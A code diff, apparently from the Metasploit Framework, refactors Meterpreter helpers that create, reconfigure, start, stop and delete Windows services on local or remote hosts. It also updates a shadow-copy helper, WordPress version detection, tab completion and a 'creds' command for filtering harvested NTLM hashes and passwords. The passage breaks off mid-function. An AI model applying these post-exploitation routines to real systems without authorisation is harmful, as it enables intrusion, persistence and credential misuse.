||||||
|
srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type")
|
||||||
|
# From http://support.microsoft.com/kb/103000
|
||||||
|
#
|
||||||
|
# 0x1 A Kernel device driver.
|
||||||
|
#
|
||||||
|
# 0x2 File system driver, which is also
|
||||||
|
# a Kernel device driver.
|
||||||
|
#
|
||||||
|
# 0x4 A set of arguments for an adapter.
|
||||||
|
#
|
||||||
|
# 0x10 A Win32 program that can be started
|
||||||
|
# by the Service Controller and that
|
||||||
|
# obeys the service control protocol.
|
||||||
|
# This type of Win32 service runs in
|
||||||
|
# a process by itself.
|
||||||
|
#
|
||||||
|
# 0x20 A Win32 service that can share a process
|
||||||
|
# with other Win32 services.
|
||||||
|
if srvtype == 32 || srvtype == 16
|
||||||
|
yield sk
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
keys
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# List all Windows Services present
|
# List all Windows Services present
|
||||||
#
|
#
|
||||||
# @return [Array] The names of the services.
|
# @return [Array<Hash>] Array of Hashes containing Service details. May contain the following keys:
|
||||||
|
# * :name
|
||||||
|
# * :display
|
||||||
|
# * :pid
|
||||||
|
# * :status
|
||||||
|
# * :interactive
|
||||||
#
|
#
|
||||||
# @todo Rewrite to allow operating on a remote host
|
# @todo Rewrite to allow operating on a remote host
|
||||||
#
|
#
|
||||||
def service_list
|
def service_list
|
||||||
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
|
if load_extapi
|
||||||
a =[]
|
return session.extapi.service.enumerate
|
||||||
services = []
|
else
|
||||||
keys = registry_enumkeys(serviceskey)
|
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
|
||||||
keys.each do |s|
|
a =[]
|
||||||
if a.length >= 10
|
services = []
|
||||||
a.first.join
|
keys = registry_enumkeys(serviceskey)
|
||||||
a.delete_if {|x| not x.alive?}
|
keys.each do |s|
|
||||||
end
|
if a.length >= 10
|
||||||
t = framework.threads.spawn(self.refname+"-ServiceRegistryList",false,s) { |sk|
|
a.first.join
|
||||||
begin
|
a.delete_if {|x| not x.alive?}
|
||||||
srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type").to_s
|
|
||||||
if srvtype == "32" or srvtype == "16"
|
|
||||||
services << sk
|
|
||||||
end
|
|
||||||
rescue
|
|
||||||
end
|
end
|
||||||
}
|
t = framework.threads.spawn(self.refname+"-ServiceRegistryList",false,s) { |sk|
|
||||||
a.push(t)
|
begin
|
||||||
|
srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type").to_s
|
||||||
|
if srvtype == "32" or srvtype == "16"
|
||||||
|
services << {:name => sk }
|
||||||
|
end
|
||||||
|
rescue
|
||||||
|
end
|
||||||
|
}
|
||||||
|
a.push(t)
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return services
|
return services
|
||||||
|
@ -119,6 +216,9 @@ module Services
|
||||||
# command executed by the service. Service name is case sensitive. Hash
|
# command executed by the service. Service name is case sensitive. Hash
|
||||||
# keys are Name, Start, Command and Credentials.
|
# keys are Name, Start, Command and Credentials.
|
||||||
#
|
#
|
||||||
|
# If ExtAPI is available we return the DACL, LOGroup, and Interactive
|
||||||
|
# values otherwise these values are nil
|
||||||
|
#
|
||||||
# @param name [String] The target service's name (not to be confused
|
# @param name [String] The target service's name (not to be confused
|
||||||
# with Display Name). Case sensitive.
|
# with Display Name). Case sensitive.
|
||||||
#
|
#
|
||||||
|
@ -128,18 +228,24 @@ module Services
|
||||||
#
|
#
|
||||||
def service_info(name)
|
def service_info(name)
|
||||||
service = {}
|
service = {}
|
||||||
servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}"
|
|
||||||
service["Name"] = registry_getvaldata(servicekey,"DisplayName").to_s
|
if load_extapi
|
||||||
srvstart = registry_getvaldata(servicekey,"Start").to_i
|
begin
|
||||||
if srvstart == 2
|
return session.extapi.service.query(name)
|
||||||
service["Startup"] = "Auto"
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
elsif srvstart == 3
|
vprint_error("Request Error #{e} falling back to registry technique")
|
||||||
service["Startup"] = "Manual"
|
end
|
||||||
elsif srvstart == 4
|
|
||||||
service["Startup"] = "Disabled"
|
|
||||||
end
|
end
|
||||||
service["Command"] = registry_getvaldata(servicekey,"ImagePath").to_s
|
|
||||||
service["Credentials"] = registry_getvaldata(servicekey,"ObjectName").to_s
|
servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}"
|
||||||
|
service[:display] = registry_getvaldata(servicekey,"DisplayName").to_s
|
||||||
|
service[:starttype] = registry_getvaldata(servicekey,"Start").to_i
|
||||||
|
service[:path] = registry_getvaldata(servicekey,"ImagePath").to_s
|
||||||
|
service[:startname] = registry_getvaldata(servicekey,"ObjectName").to_s
|
||||||
|
service[:dacl] = nil
|
||||||
|
service[:logroup] = nil
|
||||||
|
service[:interactive] = nil
|
||||||
|
|
||||||
return service
|
return service
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -149,17 +255,68 @@ module Services
|
||||||
# Mode is a string with either auto, manual or disable for the
|
# Mode is a string with either auto, manual or disable for the
|
||||||
# corresponding setting. The name of the service is case sensitive.
|
# corresponding setting. The name of the service is case sensitive.
|
||||||
#
|
#
|
||||||
# @todo Rewrite to allow operating on a remote host
|
|
||||||
#
|
#
|
||||||
def service_change_startup(name,mode)
|
def service_change_startup(name, mode, server=nil)
|
||||||
|
if mode.is_a? Integer
|
||||||
|
startup_number = mode
|
||||||
|
else
|
||||||
|
case mode.downcase
|
||||||
|
when "boot" then startup_number = START_TYPE_BOOT
|
||||||
|
when "system" then startup_number = START_TYPE_SYSTEM
|
||||||
|
when "auto" then startup_number = START_TYPE_AUTO
|
||||||
|
when "manual" then startup_number = START_TYPE_MANUAL
|
||||||
|
when "disable" then startup_number = START_TYPE_DISABLED
|
||||||
|
else
|
||||||
|
raise RuntimeError, "Invalid Startup Mode: #{mode}"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if session.railgun
|
||||||
|
begin
|
||||||
|
ret = service_change_config(name, {:starttype => startup_number}, server)
|
||||||
|
return (ret == Error::SUCCESS)
|
||||||
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
|
if server
|
||||||
|
# Cant do remote registry changes at present
|
||||||
|
return false
|
||||||
|
else
|
||||||
|
vprint_error("Request Error #{e} falling back to registry technique")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}"
|
servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}"
|
||||||
case mode.downcase
|
registry_setvaldata(servicekey,"Start",startup_number,"REG_DWORD")
|
||||||
when "auto" then
|
end
|
||||||
registry_setvaldata(servicekey,"Start","2","REG_DWORD")
|
|
||||||
when "manual" then
|
#
|
||||||
registry_setvaldata(servicekey,"Start","3","REG_DWORD")
|
# Modify a service on the session host
|
||||||
when "disable" then
|
#
|
||||||
registry_setvaldata(servicekey,"Start","4","REG_DWORD")
|
# @param name [String] Name of the service to be used as the key
|
||||||
|
# @param opts [Hash] Settings to be modified
|
||||||
|
# @param server [String,nil] A hostname or IP address. Default is the
|
||||||
|
# remote localhost
|
||||||
|
#
|
||||||
|
# @return [GetLastError] 0 if the function succeeds
|
||||||
|
#
|
||||||
|
def service_change_config(name, opts, server=nil)
|
||||||
|
open_sc_manager(:host=>server, :access=>"SC_MANAGER_CONNECT") do |manager|
|
||||||
|
open_service_handle(manager, name, "SERVICE_CHANGE_CONFIG") do |service_handle|
|
||||||
|
ret = advapi32.ChangeServiceConfigA(service_handle,
|
||||||
|
opts[:service_type] || "SERVICE_NO_CHANGE",
|
||||||
|
opts[:starttype] || "SERVICE_NO_CHANGE",
|
||||||
|
opts[:error_control] || "SERVICE_NO_CHANGE",
|
||||||
|
opts[:path] || nil,
|
||||||
|
opts[:logroup] || nil,
|
||||||
|
opts[:tag_id] || nil,
|
||||||
|
opts[:dependencies] || nil,
|
||||||
|
opts[:startname] || nil,
|
||||||
|
opts[:password] || nil,
|
||||||
|
opts[:display] || nil
|
||||||
|
)
|
||||||
|
|
||||||
|
return ret['GetLastError']
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -167,47 +324,48 @@ module Services
|
||||||
# Create a service that runs +executable_on_host+ on the session host
|
# Create a service that runs +executable_on_host+ on the session host
|
||||||
#
|
#
|
||||||
# @param name [String] Name of the service to be used as the key
|
# @param name [String] Name of the service to be used as the key
|
||||||
# @param display_name [String] Name of the service as displayed by mmc
|
# @param opts [Hash] Settings to be modified
|
||||||
# @param executable_on_host [String] EXE on the remote filesystem to
|
|
||||||
# be used as the service executable
|
|
||||||
# @param startup [Fixnum] Constant used by CreateServiceA for startup
|
|
||||||
# type: 2 for Auto, 3 for Manual, 4 for Disable. Default is Auto
|
|
||||||
# @param server [String,nil] A hostname or IP address. Default is the
|
# @param server [String,nil] A hostname or IP address. Default is the
|
||||||
# remote localhost
|
# remote localhost
|
||||||
#
|
#
|
||||||
# @return [true,false] True if there were no errors, false otherwise
|
# @return [GetLastError] 0 if the function succeeds
|
||||||
#
|
#
|
||||||
def service_create(name, display_name, executable_on_host, startup=2, server=nil)
|
def service_create(name, opts, server=nil)
|
||||||
adv = session.railgun.advapi32
|
access = "SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE | SC_MANAGER_QUERY_LOCK_STATUS"
|
||||||
|
open_sc_manager(:host=>server, :access=>access) do |manager|
|
||||||
|
|
||||||
# SC_MANAGER_CONNECT 0x01
|
opts[:display] ||= Rex::Text.rand_text_alpha(8)
|
||||||
# SC_MANAGER_CREATE_SERVICE 0x02
|
opts[:desired_access] ||= "SERVICE_START"
|
||||||
# SC_MANAGER_QUERY_LOCK_STATUS 0x10
|
opts[:service_type] ||= "SERVICE_WIN32_OWN_PROCESS"
|
||||||
open_sc_manager(:host=>server, :access=>0x13) do |manager|
|
opts[:starttype] ||= START_TYPE_AUTO
|
||||||
# SC_HANDLE WINAPI CreateService(
|
opts[:error_control] ||= "SERVICE_ERROR_IGNORE"
|
||||||
# __in SC_HANDLE hSCManager,
|
opts[:path] ||= nil
|
||||||
# __in LPCTSTR lpServiceName,
|
opts[:logroup] ||= nil
|
||||||
# __in_opt LPCTSTR lpDisplayName,
|
opts[:tag_id] ||= nil
|
||||||
# __in DWORD dwDesiredAccess,
|
opts[:dependencies] ||= nil
|
||||||
# __in DWORD dwServiceType,
|
opts[:startname] ||= nil
|
||||||
# __in DWORD dwStartType,
|
opts[:password] ||= nil
|
||||||
# __in DWORD dwErrorControl,
|
|
||||||
# __in_opt LPCTSTR lpBinaryPathName,
|
newservice = advapi32.CreateServiceA(manager,
|
||||||
# __in_opt LPCTSTR lpLoadOrderGroup,
|
name,
|
||||||
# __out_opt LPDWORD lpdwTagId,
|
opts[:display],
|
||||||
# __in_opt LPCTSTR lpDependencies,
|
opts[:desired_access],
|
||||||
# __in_opt LPCTSTR lpServiceStartName,
|
opts[:service_type],
|
||||||
# __in_opt LPCTSTR lpPassword
|
opts[:starttype],
|
||||||
#);
|
opts[:error_control],
|
||||||
newservice = adv.CreateServiceA(manager, name, display_name,
|
opts[:path],
|
||||||
0x0010, 0X00000010, startup, 0, executable_on_host,
|
opts[:logroup],
|
||||||
nil, nil, nil, nil, nil)
|
opts[:tag_id], # out
|
||||||
adv.CloseServiceHandle(newservice["return"])
|
opts[:dependencies],
|
||||||
if newservice["GetLastError"] == 0
|
opts[:startname],
|
||||||
return true
|
opts[:password]
|
||||||
else
|
)
|
||||||
return false
|
|
||||||
|
if newservice
|
||||||
|
close_service_handle(newservice["return"])
|
||||||
end
|
end
|
||||||
|
|
||||||
|
return newservice["GetLastError"]
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -224,27 +382,11 @@ module Services
|
||||||
# @raise [RuntimeError] if OpenServiceA failed
|
# @raise [RuntimeError] if OpenServiceA failed
|
||||||
#
|
#
|
||||||
def service_start(name, server=nil)
|
def service_start(name, server=nil)
|
||||||
adv = session.railgun.advapi32
|
open_sc_manager(:host=>server, :access=>"SC_MANAGER_CONNECT") do |manager|
|
||||||
open_sc_manager(:host=>server, :access=>1) do |manager|
|
open_service_handle(manager, name, "SERVICE_START") do |service_handle|
|
||||||
# SC_HANDLE WINAPI OpenService(
|
retval = advapi32.StartServiceA(service_handle,0,nil)
|
||||||
# _In_ SC_HANDLE hSCManager,
|
|
||||||
# _In_ LPCTSTR lpServiceName,
|
|
||||||
# _In_ DWORD dwDesiredAccess
|
|
||||||
# );
|
|
||||||
# open with access SERVICE_START (0x0010)
|
|
||||||
handle = adv.OpenServiceA(manager, name, 0x10)
|
|
||||||
if(handle["return"] == 0)
|
|
||||||
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}")
|
|
||||||
end
|
|
||||||
retval = adv.StartServiceA(handle["return"],0,nil)
|
|
||||||
adv.CloseServiceHandle(handle["return"])
|
|
||||||
|
|
||||||
# This is terrible. Magic return values should be refactored to
|
return retval["GetLastError"]
|
||||||
# something meaningful.
|
|
||||||
case retval["GetLastError"]
|
|
||||||
when 0; return 0 # everything worked
|
|
||||||
when 1056; return 1 # service already started
|
|
||||||
when 1058; return 2 # service disabled
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -260,22 +402,21 @@ module Services
|
||||||
# @raise (see #service_start)
|
# @raise (see #service_start)
|
||||||
#
|
#
|
||||||
def service_stop(name, server=nil)
|
def service_stop(name, server=nil)
|
||||||
adv = session.railgun.advapi32
|
open_sc_manager(:host=>server, :access=>"SC_MANAGER_CONNECT") do |manager|
|
||||||
|
open_service_handle(manager, name, "SERVICE_STOP") do |service_handle|
|
||||||
|
|
||||||
# SC_MANAGER_SERVICE_STOP (0x0020)
|
retval = advapi32.ControlService(service_handle,1,28)
|
||||||
open_sc_manager(:host=>server, :access=>1) do |manager|
|
case retval["GetLastError"]
|
||||||
# open with SERVICE_STOP (0x0020)
|
when Error::SUCCESS,
|
||||||
handle = adv.OpenServiceA(manager, name, 0x20)
|
Error::INVALID_SERVICE_CONTROL,
|
||||||
if(handle["return"] == 0)
|
Error::SERVICE_CANNOT_ACCEPT_CTRL,
|
||||||
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}")
|
Error::SERVICE_NOT_ACTIVE
|
||||||
end
|
status = parse_service_status_struct(retval['lpServiceStatus'])
|
||||||
retval = adv.ControlService(handle["return"],1,56)
|
else
|
||||||
adv.CloseServiceHandle(handle["return"])
|
status = nil
|
||||||
|
end
|
||||||
|
|
||||||
case retval["GetLastError"]
|
return retval["GetLastError"]
|
||||||
when 0; return 0 # worked
|
|
||||||
when 1062; return 1 # already stopped or disabled
|
|
||||||
when 1052; return 2 # cannot be stopped
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -286,24 +427,11 @@ module Services
|
||||||
# @param (see #service_start)
|
# @param (see #service_start)
|
||||||
#
|
#
|
||||||
def service_delete(name, server=nil)
|
def service_delete(name, server=nil)
|
||||||
adv = session.railgun.advapi32
|
|
||||||
|
|
||||||
open_sc_manager(:host=>server) do |manager|
|
open_sc_manager(:host=>server) do |manager|
|
||||||
# Now to grab a handle to the service.
|
open_service_handle(manager, name, "DELETE") do |service_handle|
|
||||||
# Thank you, Wine project for defining the DELETE constant since it,
|
ret = advapi32.DeleteService(service_handle)
|
||||||
# and all its friends, are missing from the MSDN docs.
|
return ret["GetLastError"]
|
||||||
# #define DELETE 0x00010000
|
|
||||||
handle = adv.OpenServiceA(manager, name, 0x10000)
|
|
||||||
if (handle["return"] == 0)
|
|
||||||
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}")
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Lastly, delete it
|
|
||||||
adv.DeleteService(handle["return"])
|
|
||||||
|
|
||||||
adv.CloseServiceHandle(handle["return"])
|
|
||||||
|
|
||||||
handle["GetLastError"]
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -318,38 +446,109 @@ module Services
|
||||||
#
|
#
|
||||||
#
|
#
|
||||||
def service_status(name, server=nil)
|
def service_status(name, server=nil)
|
||||||
adv = session.railgun.advapi32
|
|
||||||
ret = nil
|
ret = nil
|
||||||
|
|
||||||
# 0x80000000 GENERIC_READ
|
open_sc_manager(:host => server, :access => "GENERIC_READ") do |manager|
|
||||||
open_sc_manager(:host => server, :access => 0x80000000) do |manager|
|
open_service_handle(manager, name, "GENERIC_READ") do |service_handle|
|
||||||
# Now to grab a handle to the service.
|
status = advapi32.QueryServiceStatus(service_handle,28)
|
||||||
handle = adv.OpenServiceA(manager, name, 0x80000000)
|
|
||||||
if (handle["return"] == 0)
|
if (status["return"] == 0)
|
||||||
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}")
|
raise RuntimeError.new("Could not query service. QueryServiceStatus error: #{status["ErrorMessage"]}")
|
||||||
|
else
|
||||||
|
ret = parse_service_status_struct(status['lpServiceStatus'])
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
status = adv.QueryServiceStatus(handle["return"],28)
|
|
||||||
if (status["return"] == 0)
|
|
||||||
raise RuntimeError.new("Could not query service. QueryServiceStatus error: #{handle["GetLastError"]}")
|
|
||||||
end
|
|
||||||
|
|
||||||
vals = status['lpServiceStatus'].unpack('V*')
|
|
||||||
adv.CloseServiceHandle(handle["return"])
|
|
||||||
|
|
||||||
ret = {
|
|
||||||
:type => vals[0],
|
|
||||||
:state => vals[1],
|
|
||||||
:controls_accepted => vals[2],
|
|
||||||
:win32_exit_code => vals[3],
|
|
||||||
:service_exit_code => vals[4],
|
|
||||||
:check_point => vals[5],
|
|
||||||
:wait_hint => vals[6]
|
|
||||||
}
|
|
||||||
end
|
end
|
||||||
|
|
||||||
return ret
|
return ret
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Performs an aggressive service (re)start
|
||||||
|
# If service is disabled it will re-enable
|
||||||
|
# If service is running it will stop and restart
|
||||||
|
#
|
||||||
|
# @param name [String] The service name
|
||||||
|
# @param start_type [Integer] The start type to configure if disabled
|
||||||
|
# @param server [String] The server to target
|
||||||
|
#
|
||||||
|
# @return [Boolean] indicating success
|
||||||
|
#
|
||||||
|
#
|
||||||
|
def service_restart(name, start_type=START_TYPE_AUTO, server=nil)
|
||||||
|
tried = false
|
||||||
|
|
||||||
|
begin
|
||||||
|
status = service_start(name, server)
|
||||||
|
|
||||||
|
if status == Error::SUCCESS
|
||||||
|
vprint_good("[#{name}] Service started")
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
raise RuntimeError, status
|
||||||
|
end
|
||||||
|
rescue RuntimeError => s
|
||||||
|
if tried
|
||||||
|
vprint_error("[#{name}] Unhandled error: #{s}")
|
||||||
|
return false
|
||||||
|
else
|
||||||
|
tried = true
|
||||||
|
end
|
||||||
|
|
||||||
|
case s.message.to_i
|
||||||
|
when Error::ACCESS_DENIED
|
||||||
|
vprint_error("[#{name}] Access denied")
|
||||||
|
when Error::INVALID_HANDLE
|
||||||
|
vprint_error("[#{name}] Invalid handle")
|
||||||
|
when Error::PATH_NOT_FOUND
|
||||||
|
vprint_error("[#{name}] Service binary could not be found")
|
||||||
|
when Error::SERVICE_ALREADY_RUNNING
|
||||||
|
vprint_status("[#{name}] Service already running attempting to stop and restart")
|
||||||
|
stopped = service_stop(name, server)
|
||||||
|
if ((stopped == Error::SUCCESS) || (stopped == Error::SERVICE_NOT_ACTIVE))
|
||||||
|
retry
|
||||||
|
else
|
||||||
|
vprint_error("[#{name}] Service disabled, unable to change start type Error: #{stopped}")
|
||||||
|
end
|
||||||
|
when Error::SERVICE_DISABLED
|
||||||
|
vprint_status("[#{name}] Service disabled attempting to set to manual")
|
||||||
|
if (service_change_config(name, {:starttype => start_type}, server) == Error::SUCCESS)
|
||||||
|
retry
|
||||||
|
else
|
||||||
|
vprint_error("[#{name}] Service disabled, unable to change start type")
|
||||||
|
end
|
||||||
|
else
|
||||||
|
vprint_error("[#{name}] Unhandled error: #{s}")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Parses out a SERVICE_STATUS struct from the
|
||||||
|
# lpServiceStatus out parameter
|
||||||
|
#
|
||||||
|
# @param (lpServiceStatus)
|
||||||
|
#
|
||||||
|
# @return [Hash] Containing SERVICE_STATUS values
|
||||||
|
#
|
||||||
|
def parse_service_status_struct(lpServiceStatus)
|
||||||
|
if lpServiceStatus
|
||||||
|
vals = lpServiceStatus.unpack('V*')
|
||||||
|
return {
|
||||||
|
:type => vals[0],
|
||||||
|
:state => vals[1],
|
||||||
|
:controls_accepted => vals[2],
|
||||||
|
:win32_exit_code => vals[3],
|
||||||
|
:service_exit_code => vals[4],
|
||||||
|
:check_point => vals[5],
|
||||||
|
:wait_hint => vals[6]
|
||||||
|
}
|
||||||
|
else
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -175,25 +175,9 @@ module ShadowCopy
|
||||||
print_status("Volume Shadow Copy service is running.")
|
print_status("Volume Shadow Copy service is running.")
|
||||||
else
|
else
|
||||||
print_status("Volume Shadow Copy service not running. Starting it now...")
|
print_status("Volume Shadow Copy service not running. Starting it now...")
|
||||||
begin
|
if service_restart("VSS", START_TYPE_MANUAL)
|
||||||
ss_result = service_start("VSS")
|
print_good("Volume Shadow Copy started successfully.")
|
||||||
case ss_result
|
else
|
||||||
when 0
|
|
||||||
print_status("Volume Shadow Copy started successfully.")
|
|
||||||
when 1
|
|
||||||
print_error("Volume Shadow Copy already running.")
|
|
||||||
when 2
|
|
||||||
print_error("Volume Shadow Copy is disabled.")
|
|
||||||
print_status("Attempting to re-enable...")
|
|
||||||
service_change_startup("VSS","manual")
|
|
||||||
ss_result = service_start("VSS")
|
|
||||||
if ss_result == 0
|
|
||||||
return true
|
|
||||||
else
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
end
|
|
||||||
rescue
|
|
||||||
print_error("Insufficient Privs to start service!")
|
print_error("Insufficient Privs to start service!")
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
|
@ -98,7 +98,7 @@ module Msf::HTTP::Wordpress::Version
|
||||||
# try to extract version from readme
|
# try to extract version from readme
|
||||||
# Example line:
|
# Example line:
|
||||||
# Stable tag: 2.6.6
|
# Stable tag: 2.6.6
|
||||||
version = res.body.to_s[/(?:stable tag|version): (?!trunk)([0-9a-z.-]+)/i, 1]
|
version = res.body.to_s[/(?:stable tag|version):\s*(?!trunk)([0-9a-z.-]+)/i, 1]
|
||||||
|
|
||||||
# readme present, but no version number
|
# readme present, but no version number
|
||||||
return Msf::Exploit::CheckCode::Detected if version.nil?
|
return Msf::Exploit::CheckCode::Detected if version.nil?
|
||||||
|
|
|
@ -2834,73 +2834,72 @@ class Core
|
||||||
res = []
|
res = []
|
||||||
res << o.default.to_s if o.default
|
res << o.default.to_s if o.default
|
||||||
|
|
||||||
case o.class.to_s
|
case o
|
||||||
|
when Msf::OptAddress
|
||||||
when 'Msf::OptAddress'
|
case o.name.upcase
|
||||||
case o.name.upcase
|
when 'RHOST'
|
||||||
when 'RHOST'
|
option_values_target_addrs().each do |addr|
|
||||||
option_values_target_addrs().each do |addr|
|
res << addr
|
||||||
res << addr
|
|
||||||
end
|
|
||||||
when 'LHOST'
|
|
||||||
rh = self.active_module.datastore["RHOST"]
|
|
||||||
if rh and not rh.empty?
|
|
||||||
res << Rex::Socket.source_address(rh)
|
|
||||||
else
|
|
||||||
res << Rex::Socket.source_address()
|
|
||||||
end
|
|
||||||
else
|
|
||||||
end
|
end
|
||||||
|
when 'LHOST'
|
||||||
when 'Msf::OptAddressRange'
|
rh = self.active_module.datastore["RHOST"]
|
||||||
case str
|
if rh and not rh.empty?
|
||||||
when /^file:(.*)/
|
res << Rex::Socket.source_address(rh)
|
||||||
files = tab_complete_filenames($1, words)
|
else
|
||||||
res += files.map { |f| "file:" + f } if files
|
res << Rex::Socket.source_address()
|
||||||
when /\/$/
|
|
||||||
res << str+'32'
|
|
||||||
res << str+'24'
|
|
||||||
res << str+'16'
|
|
||||||
when /\-$/
|
|
||||||
res << str+str[0, str.length - 1]
|
|
||||||
else
|
|
||||||
option_values_target_addrs().each do |addr|
|
|
||||||
res << addr+'/32'
|
|
||||||
res << addr+'/24'
|
|
||||||
res << addr+'/16'
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
else
|
||||||
|
end
|
||||||
|
|
||||||
when 'Msf::OptPort'
|
when Msf::OptAddressRange
|
||||||
case o.name.upcase
|
case str
|
||||||
when 'RPORT'
|
when /^file:(.*)/
|
||||||
option_values_target_ports().each do |port|
|
files = tab_complete_filenames($1, words)
|
||||||
res << port
|
res += files.map { |f| "file:" + f } if files
|
||||||
end
|
when /\/$/
|
||||||
|
res << str+'32'
|
||||||
|
res << str+'24'
|
||||||
|
res << str+'16'
|
||||||
|
when /\-$/
|
||||||
|
res << str+str[0, str.length - 1]
|
||||||
|
else
|
||||||
|
option_values_target_addrs().each do |addr|
|
||||||
|
res << addr+'/32'
|
||||||
|
res << addr+'/24'
|
||||||
|
res << addr+'/16'
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
if (res.empty?)
|
when Msf::OptPort
|
||||||
res << (rand(65534)+1).to_s
|
case o.name.upcase
|
||||||
|
when 'RPORT'
|
||||||
|
option_values_target_ports().each do |port|
|
||||||
|
res << port
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
when 'Msf::OptEnum'
|
if (res.empty?)
|
||||||
o.enums.each do |val|
|
res << (rand(65534)+1).to_s
|
||||||
res << val
|
end
|
||||||
end
|
|
||||||
|
|
||||||
when 'Msf::OptPath'
|
when Msf::OptEnum
|
||||||
files = tab_complete_filenames(str, words)
|
o.enums.each do |val|
|
||||||
res += files if files
|
res << val
|
||||||
|
end
|
||||||
|
|
||||||
when 'Msf::OptBool'
|
when Msf::OptPath
|
||||||
res << 'true'
|
files = tab_complete_filenames(str, words)
|
||||||
res << 'false'
|
res += files if files
|
||||||
|
|
||||||
when 'Msf::OptString'
|
when Msf::OptBool
|
||||||
if (str =~ /^file:(.*)/)
|
res << 'true'
|
||||||
files = tab_complete_filenames($1, words)
|
res << 'false'
|
||||||
res += files.map { |f| "file:" + f } if files
|
|
||||||
end
|
when Msf::OptString
|
||||||
|
if (str =~ /^file:(.*)/)
|
||||||
|
files = tab_complete_filenames($1, words)
|
||||||
|
res += files.map { |f| "file:" + f } if files
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return res
|
return res
|
||||||
|
|
|
@ -68,6 +68,10 @@ class Db
|
||||||
]
|
]
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def allowed_cred_types
|
||||||
|
%w(password ntlm hash)
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Returns true if the db is connected, prints an error and returns
|
# Returns true if the db is connected, prints an error and returns
|
||||||
# false if not.
|
# false if not.
|
||||||
|
@ -676,6 +680,8 @@ class Db
|
||||||
print_line " -p,--port <portspec> List creds with logins on services matching this port spec"
|
print_line " -p,--port <portspec> List creds with logins on services matching this port spec"
|
||||||
print_line " -s <svc names> List creds matching comma-separated service names"
|
print_line " -s <svc names> List creds matching comma-separated service names"
|
||||||
print_line " -u,--user <regex> List users that match this regex"
|
print_line " -u,--user <regex> List users that match this regex"
|
||||||
|
print_line " -t,--type <type> List creds that match the following types: #{allowed_cred_types.join(',')}"
|
||||||
|
print_line " -R,--rhosts Set RHOSTS from the results of the search"
|
||||||
|
|
||||||
print_line
|
print_line
|
||||||
print_line "Examples, listing:"
|
print_line "Examples, listing:"
|
||||||
|
@ -683,6 +689,7 @@ class Db
|
||||||
print_line " creds 1.2.3.4/24 # nmap host specification"
|
print_line " creds 1.2.3.4/24 # nmap host specification"
|
||||||
print_line " creds -p 22-25,445 # nmap port specification"
|
print_line " creds -p 22-25,445 # nmap port specification"
|
||||||
print_line " creds -s ssh,smb # All creds associated with a login on SSH or SMB services"
|
print_line " creds -s ssh,smb # All creds associated with a login on SSH or SMB services"
|
||||||
|
print_line " creds -t ntlm # All NTLM creds"
|
||||||
print_line
|
print_line
|
||||||
|
|
||||||
print_line
|
print_line
|
||||||
|
@ -760,6 +767,9 @@ class Db
|
||||||
host_ranges = []
|
host_ranges = []
|
||||||
port_ranges = []
|
port_ranges = []
|
||||||
svcs = []
|
svcs = []
|
||||||
|
rhosts = []
|
||||||
|
|
||||||
|
set_rhosts = false
|
||||||
|
|
||||||
#cred_table_columns = [ 'host', 'port', 'user', 'pass', 'type', 'proof', 'active?' ]
|
#cred_table_columns = [ 'host', 'port', 'user', 'pass', 'type', 'proof', 'active?' ]
|
||||||
cred_table_columns = [ 'host', 'service', 'public', 'private', 'realm', 'private_type' ]
|
cred_table_columns = [ 'host', 'service', 'public', 'private', 'realm', 'private_type' ]
|
||||||
|
@ -806,6 +816,8 @@ class Db
|
||||||
end
|
end
|
||||||
when "-d"
|
when "-d"
|
||||||
mode = :delete
|
mode = :delete
|
||||||
|
when '-R', '--rhosts'
|
||||||
|
set_rhosts = true
|
||||||
else
|
else
|
||||||
# Anything that wasn't an option is a host to search for
|
